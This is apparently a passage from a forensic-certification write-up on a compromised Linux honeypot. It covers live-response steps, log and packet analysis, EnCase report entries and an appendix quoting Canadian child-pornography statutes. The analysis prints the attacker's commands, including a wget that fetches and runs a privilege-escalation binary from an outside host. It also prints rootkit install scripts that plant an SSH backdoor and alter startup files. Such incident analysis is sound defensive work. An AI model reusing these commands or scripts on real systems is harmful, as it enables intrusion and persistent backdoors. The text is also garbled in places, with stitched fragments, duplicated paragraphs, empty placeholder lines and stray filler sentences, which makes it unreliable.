11. Effecting security breaches or disruptions of network communication. Security breaches include, but are not limited to, accessing data of which the employee is not an intended recipient or logging into a server or account that the employee is not expressly authorized to access, unless these duties are within the scope of regular duties. For purposes of this section, "disruption" includes, but is not limited to, network sniffing, pinged floods, packet spoofing, denial of service, and forged routing information for malicious purposes.
12. Port scanning or security scanning is expressly prohibited unless prior notification to InfoSec is made.
13. Executing any form of network monitoring which will intercept data not intended for the employee's host, unless this activity is a part of the employee's normal job/duty.
14. Circumventing user authentication or security of any host, network or account.
15. Interfering with or denying service to any user other than the employee's host (for example, denial of service attack).
16. Using any program/script/command, or sending messages of any kind, with the intent to interfere with, or disable, a user's terminal session, via any means, locally or via the Internet/Intranet/Extranet.
17. Providing information about, or lists of, Some Company employees to parties outside Some Company.

Email and Communications Activities

1. Sending unsolicited email messages, including the sending of "junk mail" or other advertising material to individuals who did not specifically request such material (email spam).
2. Any form of harassment via email, telephone or paging, whether through language, frequency, or size of messages.
3. Unauthorized use, or forging, of email header information.
4. Solicitation of email for any other email address, other than that of the poster's account, with the intent to harass or to collect replies.
5. Creating or forwarding "chain letters", "Ponzi" or other "pyramid" schemes of any type.
6. Use of unsolicited email originating from within Some Company's networks of other Internet/Intranet/Extranet service providers on behalf of, or to advertise, any service hosted by Some Company or connected via Some Company's network.
7. Posting the same or similar non-business-related messages to large numbers of Usenet newsgroups (newsgroup spam).

5.0 Enforcement
Any employee found to have violated this policy may be subject to disciplinary action, up to and including termination of employment.

7.0 Revision History"
Appendix D

Live Response Review

The following unix binary files were used to perform a “live response process” on the Linux 7.3 machine before it was imaged:

nc  ls  date  w  netstat
lsop  ps  lsmod  ifconfig  md5sum
sh

to determine the library files each tool required, the ldd command was used. See below for an example of using ldd to determine what library files the ‘w’ executable command required. The library files were copied to the CDROM and the LD_LIBRARY_PATH environment variable was set to the directory the library files were in.

root@localhost bin# ldd w
libproc.so.2.0.7 => /lib/libproc.so.2.0.7 (0x4001a000)
libc.so.6 => /lib/i686/libc.so.6 (0x42000000)
/lib/ld-linux.so.2 => /lib/ld-linux.so.2 (0x40000000)

The command “ls -l” is used to identify the library files required;

```
-rw-r-xr-x 1 root root 48736 Apr 15 2002 /lib/libproc.so.2.0.7
lrwxrwxrwx 1 root root 13 Dec 9 2002 /lib/i686/libc.so.6 -> libc-2.2.5.so
lrwxrwxrwx 1 root root 11 Dec 9 2002 /lib/ld-linux.so.2 -> ld-2.2.5.so
```

By setting the LD_LIBRARY_PATH to use known good library files, we’ve ensured the executable will not reference library files on the victim machine. A problem was encountered with the CDROM on the victim machine. The results were the CD would not mount. The floppy disk with the live response commands on it was used. To ensure the library files on the machine were not referenced the binaries were compiled as static.

The live response steps are listed below (CTRL-C was used to end the nc session and write the file on the live response receiving workstation):

<table>
<thead>
<tr>
<th>Forensic Workstation commands</th>
<th>Victim machine commands</th>
</tr>
</thead>
<tbody>
<tr>
<td>-</td>
<td>/mnt/floppy/sh</td>
</tr>
<tr>
<td>nc -l -v -n -p l1l1 &gt;</td>
<td>/mnt/floppy/date</td>
</tr>
<tr>
<td>starttime.txt</td>
<td>/mnt/floppy/nc 192.168.1.120</td>
</tr>
<tr>
<td>nc -l -v -n -p l1l1 &gt;</td>
<td>/mnt/floppy/w</td>
</tr>
</tbody>
</table>
The live response starts with the execution of a trusted shell using `'/mnt/floppy/sh'`. The trusted shell is a shell that we know has not been compromised or trojaned.

On the forensic workstation `nc` (netcat) is used to wait for the data stream from the victim and write it to the indicated output files. The netcat options are listed below:

- `-l` sets up netcat to listen for an incoming connection.
- `-v` is verbose mode, connection information will be displayed.
- `-n` do not do host or port name lookups.
- `-p <port>' identifies the port netcat will listen on.

The victim machine commands are listed below:

- `'date'` establishes the startdate for the live response.
- `'who'` identifies who is logged onto the victim machine.
- `'netstat -anp'` shows the internet sockets that are open on the victim.
- `'lsof'` command helps to identify backdoors and strange network services.
- `'ps -auxw'` provides the current running processes.
- `'lsmod'` shows what kernel modules are loaded.

---

- `netstat -anr` displays the routing table.
- `ifconfig -a` shows the configuration of the network interface(s).
- `ls -al /proc` was missing `-R`. Without the `-R` switch the directory listing did not traverse the subdirectories. The purpose of reviewing the /proc directory was to look for deleted but still running executables (exe).
- `date` establishes the stop date for the live response.

The last command run on the forensic host is an MD5 (Message Digest Algorithm #5) checksum on all files from the live response.

An analysis of the live response files provided IP addresses, process IDs (PIDs), programs to investigate and directories that looked suspicious. See the next section for the complete listings from the live response.

The netstat-sockets.txt file had notable suspicious events in it. The first one was the presence of nfsd running as PID 19811 on port 18. There were two established connections from the victim to IP address XXX.XXX.2.23 on port 6660 TCP running a program called services on PIDs 19941, 19936. The services PIDs were also waiting for connection on UDP ports 1031 and 1032.

The lsif.txt file showed commands, PIDs and nodes that were notable and suspicious. We see the following programs opening raw sockets and listening on http and https ports.

- minilogd
- weit
- popauth
- chmod
- nfsd

The program popauth program was setup on UDP port 3049. The programs that were opening raw sockets referenced node 550563 with chmod also referencing 552454. Each of the suspicious programs from lsif is shown below:

<table>
<thead>
<tr>

The ps.txt output was examined looking for suspicious processes especially those that had already been identified. The suspicious processes minilogd, weit, popauth and nfsd were all started on Jun 29. The nfsd processes line was very suspicious, the line was:

```
"/usr/sbin/nfsd -f /sbin/sshd_config"
```

The sshd_config file is the configuration file for secure shell (ssh) a program used to allow secure, encrypted remote terminal access. The sshd_config file was located in the /sbin directory and was flagged a suspicioous file. Another file of interest was located in the /bin directory called hostname. The apache process had a large number of suspicious processes. Table 7 shows the suspicious processes started on Jun 29.

</table>
The `lsmod.txt` file was analyzed to look at what kernel modules were loaded. A module that required further investigation was `nls_iso8859-1`.

The `netstat`-routes.txt file showed no added routes. The `ifconfig`-txt file did show the eth0 interface in promiscuous mode. This is an indication of a possible sniffer program.

Analysis of the `proc-filelist.txt` file provided little benefit. The command used was a directory listing using `ls -al` of the `/proc` filesystem. The command should have included the command switch for recursive listing of the `/proc` file system, the correct command is `ls -alR`. The second last command indicated the date the `liveresponse` was completed and the final command was an MD5 checksum run on all of the `*.txt` files on the response system.

The live response provided valuable keywords to use in EnCase and a date and time to focus on. Below is a list of keywords taken from the interesting or suspicious events from the live response:

- `nfsd` XXX.XXX.2.23 6660 .x
- `popauth` weit minilogd
- `.s` sshd_config nls_iso8859-1
- `soundcore` 6667 services

The date of interest is June 29, 2003 and paths to investigate from live response output are:

```
/tmp/.
```
/.x
/usr/bin
/usr/sbin
/sbin

The document contains a list of executable files and directories. Each entry includes the following information:

- **User ID**
- **File Type**
- **File Mode**
- **File Size**
- **Filename**

Some examples include:

- `kdeinit 1223 userid1 8r FIFO 0,5 2440 pipe`
- `kdeinit 1223 userid1 9w FIFO 0,5 2440 pipe`
- `kdeinit 1223 userid1 10r REG 3,5 425497 75899 /tmp/kde-userid1/kycoca`
- `kdeinit 1223 userid1 cwr DIR 3,3 4096 32321 /home/userid1`
- `kdeinit 1223 userid1 txt REG 3,2 36360 33359 /usr/bin`
- `kdeinit 1222 userid1 rtd DIR 3,3 4096 32321 /home/userid1`

The document appears to be part of a technical or troubleshooting report, possibly related to a specific user's environment or system configuration.

Appendix E

Log File review

The log analysis consisted of analyzing the evidence from CDROM. Tag item #05. The log files were from the snort host, sebek log host and a dd image of the var partition from the central log server. MD5 hashes were included for each file on the CDROM.

It was noted that the evidence from the central log server was not gathered until October. The log rotation on the log server had over written the logs from June 29, 2003. To recover the deleted log file evidence the following was done:

1. The server was booted into single user mode with init 0.
2. At the root prompt the /var partition was imaged to a file with the following command:
   a. `dd if=/dev/ida/c0d0p7 of=/root/varddimage bs=1024 conv=noerror,notrunc,sync`
3. The image was compressed using gzip and an MD5 checksum done of the file. The file was then burned to CDROM.

The varddimage.gz was copied to forensic workstation and the MD5 checksum verified. The varddimage.gz file was uncompressed, previewed, acquired and verified using EnCase.

To search the slack space, a new keyword or ‘June 29’ was entered into EnCase under the keyword tab. A search was done using the new keyword. The recovered log evidence was analyzed and used to verify evidence found on the victim machine. Refer to the EnCase report (Appendix F – “Var partition from Logserver”) for the complete list of recovered log files.

The difference in times between the various hosts created a problem. Date and time mismatches existed between the victim system, firewall, logserver, snort host and sebek host. The log server was configured to use ntp. Sebek packets from the victim, showed a mixture of non-sequential dates including some dates in 1971. The mismatched date and time stamps from the sebek logs pointed to possible date manipulation by the attacker on the victim machine.

To reconcile time differences the logs were reviewed looking for unique events. Unique log events were used to identify the time differences between the hosts. The time delta was then calculated using these unique events.

The snort host time was behind the firewall time by 8 minutes 25 seconds. The firewall recorded logs to the central log server.
Firewall log from log server;

```
Jun 29 15:50:35 192.168.1.1 id=firewall time="2003-06-29 15:50:35"
fw="GNAT-Box" pri=6 flt_type=OBF flt_action=pass msg="Received (3)"
rule=3 proto=251 src=192.168.2.15 srcport=1274 dst=XXX.XXX.42.58
dstport=251 interface=sis2 flags=0x2
```

Tcpdump from snort host;

```
15:42:10.704332 192.168.2.15.1274 > XXX.XXX.42.58.251: S
904588511:904588511(0) win 5840 <mss 1460,sackOK,timestamp 53240532
0,nop,wscale 0> (DF)
```

The live response procedure provided a correction time for the Sebek event log. The start time from the live response from the victim machine was 17:18:51, the sebek time for the same event was 23:06:09 and the time of the event from the tcpdump log was 17:10:23.

The snort host was used as the reference time. Following this, it was determined that:

- The victim machine was 8 minutes 28 seconds ahead of the snort host.
- The Sebek logs were 5 hours 55 minutes and 46 seconds ahead of the snort host.
- The Sebek logs were 5 hours 47 minutes and 18 seconds ahead of the victim machine.

Starttime from Live response;

```
Mon Jun 30 17:18:51 CST 2003
```

Sebek log event for recording starttime for live response;

```
23:06:09-2003/06/30 [0:sh:29165:pts:0]/mnt/cdrom/date | /mnt/cdrom/mcnc 192.168.2.120 1111
```

The command `snort -r tcpdump.log.1056855401 > tcpdump.out` was used to read the binary tcpdump log file and output a readable output file. The tcpdump log files were used to calculate time differences in with other the log files.

```
06/30-17:10:23.402854 192.168.2.15:4135 --> 192.168.1.120:1111

```

Snort was configured to collect alerts, store session data and collect binary tcpdump logging. The command used on the snort host was:

```
#snort -d -D -c /usr/local/etc/snort.conf -i fxp1 -l DIR/$DATE
```
The snort options are defined below:

```
"-d" logs the packet details
"-D" runs snort in daemon mode
"-c" tells snort what configuration file to use
"-i" identifies the interface to monitor
"-l" defines the directory to log to
```

Additional configuration information found in the snort.conf file defines tcpdump binary logging and output alert logging for full and fast alerts.

Both snort and tcpdump were used to analyze the traffic to and from the victim.

The snort alerts and tcpdump logging showed a series of connections from IP XXX.XXX.120.163 starting at 14:44:41 through to 14:45:38. The connection(s) started with an ICMP echo request and reply, and an attempted connection to port 445 (microsoft-ds) and a connection to port 80 (http). Using www.ripe.net a whois lookup was done on IP XXX.XXX.120.163. The IP belongs to Netvision’s BroadBand service located in Haifa, Israel.

The next session begins the compromise of the victim machine on port 443. The IP address that connects is XXX.XXX.108.64 at 14:47:43. This session compromised the victim Linux host through TCP port 443. The sessions have the CERT® worm, “OpenSSL servers contain a buffer overflow during the SSL2 handshake process” signature. The snort alerts shown below are triggered by the following “TERM=xterm” in the content portion of a TCP port 443 (SSL) packet.

*Below IP XXX.XXX.108.64 is initiating the TCP three-way handshake (syn-syn/ack-ack) on port 443.*

```
14:47:43.3776380 XXX.XXX.108.64.55526 > 192.168.2.15.443: S 1779370026:1779370026(0) win 5840 <msg 1480,sackOK,timestamp 5795931 0,nop,wscale 0> (DF)
14:47:43.3776598 192.168.2.15.443 > XXX.XXX.108.64.55526: S 17617217161:17617217161(0) ack 1779370027 win 5792 <msg 1480,sackOK,timestamp 5795931 0,nop,wscale 0> (DF)
14:47:44.068010 XXX.XXX.108.64.55526 > 192.168.2.15.443: . F 1779370027:1779370027(0) win 5792 <mss 1460,sackOK,timestamp 5795931 0,nop,wscale 0> (DF)
```

*IP XXX.XXX.108.64 initiates a TCP three-way handshake (syn-syn/ack-ack) on port 80.*

```

Snort alerts

Snort alerts

Snort alerts

Snort alerts

Snort alerts

The tcpdump binary log was parsed through tcpflow with the syntax

tcpflow -r tcpdump.log.1056866401 ‘port 34919’

The output was two files " XXX.XXX.108.64.34919-192.168.002.015.00080" and "192.168.002.015.00080-XXX.XXX.108.064.34919". The output is shown below;
Session logs from snort provided the session activity for the takeover of the victim system. Evidence from session logs demonstrate initial worm like activity. A file named "r" is downloaded and used to elevate privileges to root and a root kit, s.tar.gz is downloaded and uncompressed. The program tcpflow was used to dump the session data. Below we see some of the session data, refer to “Appendix E - Tcpflow Output – Buffer Overflow and Root Kit placements.” for the complete session. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;

tar -zxvf s.tar.gz; rm -rf s.tar.gz;
[...]
The first session ends without the complete installation of the kit. At 15:09:40 two attempts are made to connect to the victim IP from IP XXX.XXX.119.81 on port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 is sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session completes the installation of the rootkit in the directory /tmp/.s. This session started at 15:10:48 and completed at 15:15:18.
One more session is established to download and install bot.tar.gz. The bot.tar.gz kit is downloaded to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix after the buffer overflow the session starts at 15:18:27 and completes at 15:30:03.

```

</table>
Below are a summary of the session and the files downloaded. The file ‘r’ was repeatedly downloaded, used to elevate privileges to root, and removed.

The IRC bot connections began at 15:22:51 the last incoming connection occurred at 16:52:24. The IRC channel that the victim machine participated in was Stockholm.SE.eu.Undernet.org.

Sebek output provided keystroke evidence of actions taken. Sebek output and the output logging from the rootkit install provided information on changes to configurations files to examine further.

The sebek log events and the tcpdump output show the TCP port 18 connections originating from IP XXX.XXX.119.81. The samba.tar.gz file was retrieved during the port 18 connection.

A Whois lookup in ARIN pointed to the RIPE. A whois lookup using RIPE (www.ripe.net) showed the IP address belonging to XXXXX XXXXX Network S.A. in Bucharest, Romania.

Tcpflow Output – Buffer Overflow and Root Kit placements.

The program tcpflow was used to dump the session data. The XXX.XXX.108.65:35054 => 192.168.2.14:443 are the commands that were sent and 92.168.2.14:443 => XXX.XXX.108.65:35054 are the results from the commands. The section below shows the two sessions combined. The lines that are bolded and italicized are from XXX.XXX.108.65:35054=>192.168.2.14:443. The session started at 14:57:44 through to 15:29:41.

```
wget XXX.XXX.com/eladoht/stuff/r;chmod +x r;
```

```
bash-2.05a$ --15:09:12-- http://XXX.XXX.com/eladoht/stuff/r
 => 'r'
Resolving XXX.XXX.com... done.

At 15:09:40 two attempts are made to connect to the victim from IP XXX.XXX.119.81 to port 18. There is no service on port 18 so the connection is reset. A new series of sessions from IP address XXX.XXX.108.64 to 192.168.2.15 on port 443 are sent. This series is the OpenSSL buffer overflow attack. The overflow gains access and we see the installation of the root kit in tcpflow sessions XXX.XXX.108.064.35089-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35089. This session installed the rootkit from the directory /tmp/. This session started at 15:10:48 and completed at 15:15:18.

Another session is established to load bot.tar.gz. The bot.tar.gz kit provides IRC access to the victim machine. This buffer overflow session is started at 15:18:22. The tcpflow sessions are XXX.XXX.108.064.35157-192.168.002.015.00443 and 192.168.002.015.00443-XXX.XXX.108.064.35157. This session installs the bot rootkit from the directory /tmp/.font-unix. This occurs after the buffer overflow. The session starts at 15:18:27 and completes at 15:30:03.

EnCase – Final Report - Linux 7.3 System.

EnCase Computer Analysis Report

Investigating Agency

Investigating Agency:  
Sans GCFA Cert
Investigating Officer:  
Kevin Miller
12 Main
Here, Over There

Investigation Details

The evidence was delivered to Kevin Miller on June 30, 2003.  

Items received | Quantity | Notes |
--- | --- | --- |
Desktop computers | 1 | Compaq Deskpro P400 |

Special Circumstances

System from HoneyNet run from June 27 to June 30, 2003.
Linux 7.3 Honey pot system

Device
Evidence Number: Linux 7.3 Honey pot system
File Path: C:\Sans\evidence files\Linux 7.3 Honey pot system.E01
Examiner Name: Kevin Miller
Actual Date: 07/16/03 11:03:19AM
Target Date: 07/16/03 11:03:19AM
Total Size: 6,448,619,520 bytes (6.0GB)
Total Sectors: 12,594,960
File Integrity: Completely Verified, 0 Errors
Write Blocker: FastBloc
EnCase Version: 4.14
System Version: Windows XP
Acquisition Hash: 579720D58A61D971083F10695B8249CB
Verify Hash: 579720D58A61D971083F10695B8249CB

Comment: The config file used for booting.

# inittab  This file describes how the INIT process should set up
# the system in a certain run-level.
# Author: Miquel van Smoorenburg, <miquels@drinkel.nl.mugnet.org>
# Modified for RHS Linux by Marc Ewing and Donnie Barnes
#
# Default runlevel. The runlevels used by RHS are:
# 0 - halt (Do NOT set initdefault to this)
# 1 - Single user mode
# 2 - Multiuser, without NFS (The same as 3, if you do not have networking)
# 3 - Full multiuser mode
# 4 - unused

Comment: The S95atd is the script that boots the (compromised) syslog script.

**Startup files modified by root kit**

Compromised startup files

36) Name functions
Description: The functions startup script has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to it. This is done by the install script found in the /tmp/ directory.

#!/bin/bash
#
# functions This file contains functions to be used by most or all
# shell scripts in the /etc/init.d directory.
#
# Version: @(#) /etc/init.d/functions 1.01 26-Oct-1993
#
# Author: Miquel van Smorenburg, <miquels@drinkel.nl.mugnet.org>

Logical Size  1,405

Comment: The syslog startup file has "/usr/sbin/nfsd -f /sbin/sshd_config" appended to the bottom. This is done by the install script located in the /tmp/.s directory. The nfsd is an ssh daemon listening for connection on port 18.

Logical Size    22,379

Comment: The rc.sysinit file was edited by the p.ssh script. The p.ssh script is called (sh p.ssh) by the install script from the s.tar.gz archive. The "wait" statement at the end of the file has been replaced with "wait". The wait file is located in /usr/sbin/ directory and called popauth, an executable in the /x directory.

Root kit files

This is the samba.tgz file downloaded during the ssh (port 18) connection. As seen in the sebek log for the activity.

samba.tgz files

The samba.tgz files are used to assess and attack other hosts.

These files are the IRC server software files.

Comment: Root kit files

s.tar.gz files – infected with Linux RST.B Virus

Files from s.tar.gz
These file are from the s.tar.gz archive. The files are trojan executable files. They include a sniffer file (linsniffer), an sshd backdoor and install script for the tools. All executable files are virus infected with the Linux RST.B virus (http://www.sophos.com/virusinfo/analyses/linuxrstb.htm).

#### Comment: sniffer program

89) **Name**: mpstree  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\mpstree  
**Entry Modified**: 06/29/03 03:11:59PM  
**Last Accessed**: 06/29/03 03:25:20PM  
**Last Written**: 03/24/03 09:36:32PM  
**Hash Value**: i592011bbbf8f683f0b24f1eda20bff  
**Physical Size**: 1,024  
**Logical Size**: 443  

#### Comment: This script starts p.ssh, modifies /etc/rc.d/rc.sysinit by adding a line to run weit and removes wait.

```bash
#!/bin/bash
TERM=linux
chown root.root *
./p.ssh
sleep 1
chattr -AcdisSu /etc/rc.d/rc.sysinit
echo 'weit' >> /etc/rc.d/rc.sysinit
rm -rf /etc/rc.d/rc.sysinit
mv /etc/rc.d/rc.sysinit.old /etc/rc.d/rc.sysinit
chmod +x /etc/rc.d/rc.sysinit
chattr -AcdisSu /usr/bin/* >/dev/null 2>&1
mv weit /usr/bin/weit
touch -acmr /bin/df /usr/bin/weit
chmod +x /usr/bin/weit
/usr/bin/weit
```

90) **Name**: netstat  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\netstat  
**Entry Modified**: 06/29/03 03:25:20PM  
**Last Accessed**: 06/29/03 03:25:20PM  
**Last Written**: 06/29/03 03:25:20PM  
**Hash Value**: 8a6c03c19c4c93dfca31bcee94ce45da  
**Physical Size**: 39,936  
**Logical Size**: 39,399

#### Comment:

91) **Name**: nfsdi  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\nfsd\nfsdi  
**Entry Modified**: 06/29/03 03:11:59PM  
**Last Accessed**: 06/29/03 03:25:21PM  
**Last Written**: 12/29/02 04:24:52PM  
**Hash Value**: 2aa3b69eaab68eb3cb3be8f66df8ca03  
**Physical Size**: 1,024  
**Logical Size**: 884
Comment: Here is the nfsdi script that is called from the install script to install the ssh backdoor.

```bash
#!/bin/sh
if [-x /usr/sbin/nfsd ]; then
    chattr +iau /usr/sbin/nfsd
    rm -f /usr/sbin/nfsd
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
else
    cp -f ../p.sshd /usr/sbin/nfsd
    chmod +s /usr/sbin/nfsd
    chattr +iau /usr/sbin/nfsd
fi
if [-f /sbin/sshd_config ]; then
    chattr +iau /sbin/sshd_config
    rm -f /sbin/sshd_config
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
else
    cp -f sshd_config /sbin
    chattr +iau /sbin/sshd_config
fi

chattr +iau /etc/rc.d/init.d/syslog

chattr +iau /usr/sbin/nfsd

chattr +iau /etc/rc.d/init.d/functions

cp /usr/sbin/nfsd /etc/rc.d/init.d/functions

chattr +iau /etc/rc.d/init.d/functions

echo "/usr/sbin/nfsd" >>/etc/rc.d/init.d/functions

echo "/usr/sbin/nfsd" >>/etc/rc.d/init.d/syslog

chattr +iau /etc/rc.d/init.d/syslog

chattr +iau /etc/rc.d/init.d/functions

101) Name p.ssh
Description File
Full Path  Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/\tmp/.s.p.ssh
Entry Modified  06/29/03 03:11:59PM
Last Accessed  06/29/03 03:25:20PM
Last Written  03/24/03 09:29:48PM
Hash Value  0ef7a0c48b1cae0e35e209a034be78fa
Physical Size  77,824
Logical Size  77,344

Comment: This script is called by the install script right after the killall trojan is installed. The line that calls it is "sh p.sssh".

#!/bin/bash
D=".s"
H=".x"
mkdir -p SD; cd SD
echo > libgc.so; chmod 0622 libgc.so
```

Linux version 2.4.18-14 (bhcompile@striples.devel.redhat.com) (gcc version 3.2 20020903 (Red Hat Linux 8.0 3.2-7)) #1 Wed Sep 4 13:35:50 EDT 2002
Appendix G

Definition of “child pornography”

163.1 (1) In this section, “child pornography” means

(a) a photographic, film, video or other visual representation, whether or not it was made by electronic or mechanical means,

(i) that shows a person who is or is depicted as being under the age of eighteen years and is engaged in or is depicted as engaged in explicit sexual activity, or

(ii) the dominant characteristic of which is the depiction, for a sexual purpose, of a sexual organ or the anal region of a person under the age of eighteen years; or

(b) any written material or visual representation that advocates or counsels sexual activity with a person under the age of eighteen years that would be an offence under this Act.

Making child pornography

(2) Every person who makes, prints, publishes or possesses for the purpose of publication any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

Distribution, etc. of child pornography

(3) Every person who transmits, makes available, distributes, sells, imports, exports or possesses for the purpose of transmission, making available, distribution, sale or exportation any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding ten years; or

(b) an offence punishable on summary conviction.

Possession of child pornography

(4) Every person who possesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding five years; or

(b) an offence punishable on summary conviction.

Accessing child pornography

(4.1) Every person who accesses any child pornography is guilty of

(a) an indictable offence and liable to imprisonment for a term not exceeding
five years; or

(b) an offence punishable on summary conviction.

Interpretation

(4.2) For the purposes of subsection (4.1), a person accesses child pornography who knowingly causes child pornography to be viewed by, or transmitted to, himself or herself.

Defence

(5) It is not a defence to a charge under subsection (2) in respect of a visual representation that the accused believed that a person shown in the representation that is alleged to constitute child pornography was or was depicted as being eighteen years of age or more unless the accused took all reasonable steps to ascertain the age of that person and took all reasonable steps to ensure that, where the person was eighteen years of age or more, the representation did not depict that person as being under the age of eighteen years.

Defences

(6) Where the accused is charged with an offence under subsection (2), (3), (4) or (4.1), the court shall find the accused not guilty if the representation or written material that is alleged to constitute child pornography has artistic merit or an educational, scientific or medical purpose.

Other provisions to apply

(7) Subsections 163(3) to (5) apply, with such modifications as the circumstances require, with respect to an offence under subsection (2), (3), (4) or (4.1).

1993, c. 46, s. 2; 2002, c. 13, s. 5.

Warrant of seizure

164. (1) A judge who is satisfied by information on oath that there are reasonable grounds for believing that

(a) any publication, copies of which are kept for sale or distribution in premises within the jurisdiction of the court, is obscene or a crime comic, within the meaning of section 163, or

(b) any representation or written material, copies of which are kept in premises within the jurisdiction of the court, is child pornography within the meaning of section 163.1,

may issue a warrant authorizing seizure of the copies.

Summons to occupier

(2) Within seven days of the issue of a warrant under subsection (1), the judge shall issue a summons to the occupier of the premises requiring him to appear before the court and show cause why the matter seized should not be forfeited to Her Majesty.

Owner and maker may appear

(3) The owner and the maker of the matter seized under subsection (1), and alleged to be obscene, a crime comic or child pornography, may appear and be represented in the proceedings in order to oppose the making of an order for the forfeiture of the matter.

Order of forfeiture

(4) If the court is satisfied, on a balance of probabilities, that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it may make an order declaring the matter forfeited to Her Majesty in right of the province in which the proceedings take place, for disposal as the Attorney General may direct.
Disposal of matter

(5) If the court is not satisfied that the publication, representation or written material referred to in subsection (1) is obscene, a crime comic or child pornography, it shall order that the matter be restored to the person from whom it was seized forthwith after the time for final appeal has expired.

Appeal

(6) An appeal lies from an order made under subsection (4) or (5) by any person who appeared in the proceedings

(a) on any ground of appeal that involves a question of law alone,

(b) on any ground of appeal that involves a question of fact alone, or

(c) on any ground of appeal that involves a question of mixed law and fact,

as if it were an appeal against conviction or against a judgment or verdict of acquittal, as the case may be, on a question of law alone under Part XXI and sections 673 to 696 apply with such modifications as the circumstances require.

Consent

(7) Where an order has been made under this section by a judge in a province with respect to one or more copies of a publication, representation or written material, no proceedings shall be instituted or continued in that province under section 163 or 163.1 with respect to those or other copies of the same publication, representation or written material without the consent of the Attorney General.

Punishment

169. Every one who commits an offence under section 163, 165, 167 or 168 is guilty of

(a) an indictable offence and is liable to imprisonment for a term not exceeding two years; or

(b) an offence punishable on summary conviction.

R.S., 1985, c. C-46, s. 169; 1999, c. 5, s. 3.
